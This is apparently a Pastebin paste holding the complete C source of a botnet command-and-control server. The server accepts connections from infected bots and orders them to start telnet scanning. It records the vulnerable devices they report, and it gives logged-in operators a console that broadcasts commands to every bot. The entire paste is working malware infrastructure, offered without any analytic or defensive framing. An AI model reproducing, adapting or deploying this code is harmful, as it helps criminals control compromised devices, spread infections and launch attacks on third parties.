Zekahs

Art of war sever side

Aug 4th, 2017
271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.03 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14.  
  15. ////////////////////////////////////
  16. #define MY_MGM_PORT 63
  17. #define MAXFDS 1000000
  18. ////////////////////////////////////
  19.  
  20.  
  21. struct account {
  22. char id[20];
  23. char password[20];
  24. };
  25. static struct account accounts[10];
  26.  
  27. struct clientdata_t {
  28. uint32_t ip;
  29. char build[7];
  30. char connected;
  31. } clients[MAXFDS];
  32.  
  33. struct telnetdata_t {
  34. int connected;
  35. } managements[MAXFDS];
  36.  
  37.  
  38.  
  39. ////////////////////////////////////
  40.  
  41.  
  42. static volatile FILE *telFD;
  43. static volatile FILE *fileFD;
  44. static volatile int epollFD = 0;
  45. static volatile int listenFD = 0;
  46. static volatile int managesConnected = 0;
  47. static volatile int TELFound = 0;
  48. static volatile int scannerreport;
  49.  
  50.  
  51. ////////////////////////////////////
  52.  
  53.  
  54. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  55. {
  56. int total = 0, got = 1;
  57. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  58. return got;
  59. }
  60. void trim(char *str)
  61. {
  62. int i;
  63. int begin = 0;
  64. int end = strlen(str) - 1;
  65. while (isspace(str[begin])) begin++;
  66. while ((end >= begin) && isspace(str[end])) end--;
  67. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  68. str[i - begin] = '\0';
  69. }
  70.  
  71.  
  72. static int make_socket_non_blocking (int sfd)
  73. {
  74. int flags, s;
  75. flags = fcntl (sfd, F_GETFL, 0);
  76. if (flags == -1)
  77. {
  78. perror ("fcntl");
  79. return -1;
  80. }
  81. flags |= O_NONBLOCK;
  82. s = fcntl (sfd, F_SETFL, flags);
  83. if (s == -1)
  84. {
  85. perror ("fcntl");
  86. return -1;
  87. }
  88. return 0;
  89. }
  90.  
  91.  
  92. static int create_and_bind (char *port)
  93. {
  94. struct addrinfo hints;
  95. struct addrinfo *result, *rp;
  96. int s, sfd;
  97. memset (&hints, 0, sizeof (struct addrinfo));
  98. hints.ai_family = AF_UNSPEC;
  99. hints.ai_socktype = SOCK_STREAM;
  100. hints.ai_flags = AI_PASSIVE;
  101. s = getaddrinfo (NULL, port, &hints, &result);
  102. if (s != 0)
  103. {
  104. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  105. return -1;
  106. }
  107. for (rp = result; rp != NULL; rp = rp->ai_next)
  108. {
  109. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  110. if (sfd == -1) continue;
  111. int yes = 1;
  112. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  113. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  114. if (s == 0)
  115. {
  116. break;
  117. }
  118. close (sfd);
  119. }
  120. if (rp == NULL)
  121. {
  122. fprintf (stderr, "Could not bind\n");
  123. return -1;
  124. }
  125. freeaddrinfo (result);
  126. return sfd;
  127. }
  128. void broadcast(char *msg, int us)
  129. {
  130. int sendMGM = 1;
  131. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  132. char *wot = malloc(strlen(msg) + 10);
  133. memset(wot, 0, strlen(msg) + 10);
  134. strcpy(wot, msg);
  135. trim(wot);
  136. time_t rawtime;
  137. struct tm * timeinfo;
  138. time(&rawtime);
  139. timeinfo = localtime(&rawtime);
  140. char *timestamp = asctime(timeinfo);
  141. trim(timestamp);
  142. int i;
  143. for(i = 0; i < MAXFDS; i++)
  144. {
  145. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  146. if(sendMGM && managements[i].connected)
  147. {
  148. send(i, "\x1b[32m", 5, MSG_NOSIGNAL);
  149. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  150. send(i, ": ", 2, MSG_NOSIGNAL);
  151. }
  152. printf("sent to fd: %d\n", i);
  153. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  154. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[32m> \x1b[0m", 13, MSG_NOSIGNAL);
  155. else send(i, "\n", 1, MSG_NOSIGNAL);
  156. }
  157. free(wot);
  158. }
  159.  
  160. void *epollEventLoop(void *useless)
  161. {
  162. struct epoll_event event;
  163. struct epoll_event *events;
  164. int s;
  165. events = calloc (MAXFDS, sizeof event);
  166. while (1)
  167. {
  168. int n, i;
  169. n = epoll_wait (epollFD, events, MAXFDS, -1);
  170. for (i = 0; i < n; i++)
  171. {
  172. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  173. {
  174. clients[events[i].data.fd].connected = 0;
  175. close(events[i].data.fd);
  176. continue;
  177. }
  178. else if (listenFD == events[i].data.fd)
  179. {
  180. while (1)
  181. {
  182. struct sockaddr in_addr;
  183. socklen_t in_len;
  184. int infd, ipIndex;
  185.  
  186. in_len = sizeof in_addr;
  187. infd = accept (listenFD, &in_addr, &in_len);
  188. if (infd == -1)
  189. {
  190. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  191. else
  192. {
  193. perror ("accept");
  194. break;
  195. }
  196. }
  197.  
  198. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  199.  
  200. int dup = 0;
  201. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  202. {
  203. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  204.  
  205. if(clients[ipIndex].ip == clients[infd].ip)
  206. {
  207. dup = 1;
  208. break;
  209. }
  210. }
  211.  
  212. if(dup)
  213. {
  214. printf("DUP Client - Terminating\n");
  215. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  216. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  217. close(infd);
  218. continue;
  219. }
  220.  
  221. s = make_socket_non_blocking (infd);
  222. if (s == -1) { close(infd); break; }
  223.  
  224. event.data.fd = infd;
  225. event.events = EPOLLIN | EPOLLET;
  226. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  227. if (s == -1)
  228. {
  229. perror ("epoll_ctl");
  230. close(infd);
  231. break;
  232. }
  233.  
  234. clients[infd].connected = 1;
  235. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  236. }
  237. continue;
  238. }
  239. else
  240. {
  241. int thefd = events[i].data.fd;
  242. struct clientdata_t *client = &(clients[thefd]);
  243. int done = 0;
  244. client->connected = 1;
  245. while (1)
  246. {
  247. ssize_t count;
  248. char buf[2048];
  249. memset(buf, 0, sizeof buf);
  250.  
  251. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  252. {
  253. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  254. trim(buf);
  255. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  256. {
  257. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  258. continue;
  259. }
  260. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  261. {
  262. char *line = strstr(buf, "REPORT ") + 7;
  263. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  264. fflush(telFD);
  265. TELFound++;
  266. continue;
  267. }
  268. if(strstr(buf, "SCANNER STARTED!") == buf)
  269. {
  270. char *line = strstr(buf, "SCANNER STARTED!");
  271. scannerreport = 1;
  272. continue;
  273. }
  274. if(strstr(buf, "SCANNER STOPPED!") == buf)
  275. {
  276. char *line = strstr(buf, "SCANNER STOPPED!");
  277. scannerreport--;
  278. continue;
  279. }
  280. if(strcmp(buf, "PONG") == 0)
  281. {
  282. continue;
  283. }
  284.  
  285. printf("buf: \"%s\"\n", buf);
  286. }
  287.  
  288. if (count == -1)
  289. {
  290. if (errno != EAGAIN)
  291. {
  292. done = 1;
  293. }
  294. break;
  295. }
  296. else if (count == 0)
  297. {
  298. done = 1;
  299. break;
  300. }
  301. }
  302.  
  303. if (done)
  304. {
  305. client->connected = 0;
  306. close(thefd);
  307. }
  308. }
  309. }
  310. }
  311. }
  312.  
  313. unsigned int clientsConnected()
  314. {
  315. int i = 0, total = 0;
  316. for(i = 0; i < MAXFDS; i++)
  317. {
  318. if(!clients[i].connected) continue;
  319. total++;
  320. }
  321.  
  322. return total;
  323. }
  324.  
  325. void *titleWriter(void *sock)
  326. {
  327. int thefd = (int)sock;
  328. char string[2048];
  329. while(1)
  330. {
  331. memset(string, 0, 2048);
  332. sprintf(string, "%c]0;Bots connected: %d | Homies connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  333. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  334.  
  335. sleep(2);
  336. }
  337. }
  338.  
  339. int Search_in_File(char *str)
  340. {
  341. FILE *fp;
  342. int line_num = 0;
  343. int find_result = 0, find_line=0;
  344. char temp[512];
  345.  
  346. if((fp = fopen("login.txt", "r")) == NULL){
  347. return(-1);
  348. }
  349. while(fgets(temp, 512, fp) != NULL){
  350. if((strstr(temp, str)) != NULL){
  351. find_result++;
  352. find_line = line_num;
  353. }
  354. line_num++;
  355. }
  356. if(fp)
  357. fclose(fp);
  358.  
  359. if(find_result == 0)return 0;
  360.  
  361. return find_line;
  362. }
  363.  
  364. void *telnetWorker(void *sock)
  365. {
  366. int thefd = (int)sock;
  367. int find_line;
  368. managesConnected++;
  369. pthread_t title;
  370. char counter[2048];
  371. memset(counter, 0, 2048);
  372. char buf[2048];
  373. char* nickstring;
  374. char* username;
  375. char* password;
  376. memset(buf, 0, sizeof buf);
  377. char botnet[2048];
  378. memset(botnet, 0, 2048);
  379.  
  380. FILE *fp;
  381. int i=0;
  382. int c;
  383. fp=fopen("login.txt", "r"); // format: user pass
  384. while(!feof(fp))
  385. {
  386. c=fgetc(fp);
  387. ++i;
  388. }
  389. int j=0;
  390. rewind(fp);
  391. while(j!=i-1)
  392. {
  393. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  394. ++j;
  395. }
  396.  
  397. if(send(thefd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  398. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  399. trim(buf);
  400. nickstring = ("%s", buf);
  401. find_line = Search_in_File(nickstring);
  402. if(strcmp(nickstring, accounts[find_line].id) == 0){
  403. if(send(thefd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  404. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  405. trim(buf);
  406. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  407. memset(buf, 0, 2048);
  408. goto fak;
  409. }
  410. failed:
  411. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  412. if(send(thefd, "\x1b[32m \r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  413. if(send(thefd, "\x1b[32m \r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  414. if(send(thefd, "\x1b[32m \r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  415. if(send(thefd, "\x1b[32m \r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  416. sleep(5);
  417. goto end;
  418. fak:
  419. pthread_create(&title, NULL, &titleWriter, sock);
  420. if(send(thefd, "\x1b[32m*****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  421. if(send(thefd, "* Null The Fucking Wrold *\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  422. if(send(thefd, "*****************************************\r\n\r\n> \x1b[0m", 51, MSG_NOSIGNAL) == -1) goto end;
  423. pthread_create(&title, NULL, &titleWriter, sock);
  424. managements[thefd].connected = 1;
  425.  
  426. while(fdgets(buf, sizeof buf, thefd) > 0)
  427. {
  428. if(strstr(buf, "!* STATUS"))
  429. {
  430. sprintf(botnet, "Telnet devices: %d | Telnet status: %d\r\n", TELFound, scannerreport);
  431. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  432. }
  433. if(strstr(buf, "!* BOTS"))
  434. {
  435. sprintf(botnet, "Bots connected: %d | hackers connected: %d\r\n", clientsConnected(), managesConnected);
  436. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  437. }
  438. trim(buf);
  439. if(send(thefd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  440. if(strlen(buf) == 0) continue;
  441. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  442. FILE *logFile;
  443. logFile = fopen("server.log", "a");
  444. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  445. fclose(logFile);
  446. broadcast(buf, thefd);
  447. memset(buf, 0, 2048);
  448. }
  449.  
  450. end: // cleanup dead socket
  451. managements[thefd].connected = 0;
  452. close(thefd);
  453. managesConnected--;
  454. }
  455.  
  456. void *telnetListener(void *useless)
  457. {
  458. int sockfd, newsockfd;
  459. socklen_t clilen;
  460. struct sockaddr_in serv_addr, cli_addr;
  461. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  462. if (sockfd < 0) perror("ERROR opening socket");
  463. bzero((char *) &serv_addr, sizeof(serv_addr));
  464. serv_addr.sin_family = AF_INET;
  465. serv_addr.sin_addr.s_addr = INADDR_ANY;
  466. serv_addr.sin_port = htons(MY_MGM_PORT);
  467. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  468. listen(sockfd,5);
  469. clilen = sizeof(cli_addr);
  470. while(1)
  471. {
  472. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  473. if (newsockfd < 0) perror("ERROR on accept");
  474. pthread_t thread;
  475. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  476. }
  477. }
  478.  
  479. int main (int argc, char *argv[], void *sock)
  480. {
  481. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  482.  
  483. int s, threads;
  484. struct epoll_event event;
  485.  
  486. if (argc != 3)
  487. {
  488. fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  489. exit (EXIT_FAILURE);
  490. }
  491. telFD = fopen("telnet.txt", "a+");
  492. threads = atoi(argv[2]);
  493.  
  494. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  495. if (listenFD == -1) abort ();
  496.  
  497. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  498. if (s == -1) abort ();
  499.  
  500. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  501. if (s == -1)
  502. {
  503. perror ("listen");
  504. abort ();
  505. }
  506.  
  507. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  508. if (epollFD == -1)
  509. {
  510. perror ("epoll_create");
  511. abort ();
  512. }
  513.  
  514. event.data.fd = listenFD;
  515. event.events = EPOLLIN | EPOLLET;
  516. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  517. if (s == -1)
  518. {
  519. perror ("epoll_ctl");
  520. abort ();
  521. }
  522.  
  523. pthread_t thread[threads + 2];
  524. while(threads--)
  525. {
  526. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  527. }
  528.  
  529. pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  530.  
  531. while(1)
  532. {
  533. broadcast("PING", -1); // ping bots every 60 sec on the main thread
  534. sleep(60);
  535. }
  536.  
  537. close (listenFD);
  538.  
  539. return EXIT_SUCCESS;
  540. }
Advertisement
Add Comment
Please, Sign In to add comment